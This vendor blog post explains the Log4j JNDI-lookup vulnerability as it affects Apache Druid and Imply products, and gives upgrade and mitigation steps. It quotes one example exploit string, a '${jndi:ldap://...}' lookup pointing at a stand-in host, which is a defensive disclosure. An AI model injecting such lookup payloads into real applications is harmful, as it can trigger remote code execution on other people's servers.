A critical vulnerability has recently been discovered in Apache Log4j, a popular logging library for Java projects. Because we utilize Log4j in Apache Druid, Imply’s distribution of Druid, and the urgent need to investigate the use of Log4j by other technologies we rely on, we immediately went into “all hands on deck” mode to evaluate the impact and release new versions of every affected component.
In this post, we wanted to share some details about the vulnerability and how to mitigate the issue. Mitigation steps mostly cover Druid, if you are an Imply customer you have already received an email detailing mitigations and upgrade paths for your specific deployment type.
In short, Log4j is a library that many projects rely on for their logging needs. Recently it was discovered that Log4j had a curious feature enabled by default; if the logged text contains a specially crafted message then Log4j will attempt to connect to the specified target. For example, if ${jndi:ldap://someurl.com/a} is logged then Log4j will attempt to connect to someurl.com, which is pretty bad, and if someurl.com responds in just the right way arbitrary code could be executed by the process that did the logging, which is horrible.
This is very dangerous as most applications, Druid included, are not designed with an adversarial logging framework in mind. It is common for text entered by a potentially malicious user to end up being logged. However, the logged text is never expected to execute an action or generate a remote response.
For Imply customers, we have endeavored to implement the least risky mitigation approaches. If you are an Imply customer, you should have already received upgrade and mitigation instructions tailored to your specific deployment. We have released a new version of every supported product line, with a targeted low-risk fix, and you should upgrade. If you are using a managed version of Imply (Cloud or Private) it is only a few clicks! If you are unable to upgrade to the patched version then we have also delivered a mitigation path that mitigates the vulnerability.
If you are using Apache Druid we recommend that you upgrade to Druid 0.22.1.
If you are unable to upgrade Druid at this time, we recommend deploying a mitigation. Please refer to the Log4j announcement for details on possible mitigations.
Different Log4j versions have different mitigation options. Check the lib directory of your Druid installation for the log4j-core jar to see what version of Log4j you have. Recent versions of Druid use Log4j 2.8.2. Two possible mitigations for Log4j 2.8.2 are:
Specify %m{nolookups} in the PatternLayout configuration of your log4j2.xml file. Druid installations may have multiple log4j2.xml files; be sure to update all of them.
Remove the JndiLookup and JndiManager classes from the log4j-core jar.
These mitigations require a cluster restart to take effect.
The Breaking Point for Observability Leaders
Observability is at a crossroads For years, observability has promised to give teams the visibility they need to keep digital services resilient. But as data volumes explode, many leaders are realizing the...
Learn MoreThe State of Log Management 2025
Logs are exploding. Costs are climbing. Performance is stalling. If you manage logs, you’re in the hot seat Every app, every integration, every security risk—it all generates more data. And when something...
Learn MoreThe next evolution in observability: How architecture is following in BI’s footsteps
Modern observability systems are hitting the same wall business intelligence did a decade ago. As data volumes explode, the traditional model — where a single product handles ingestion, storage, compute,...
Learn More
Vadim Ogievetsky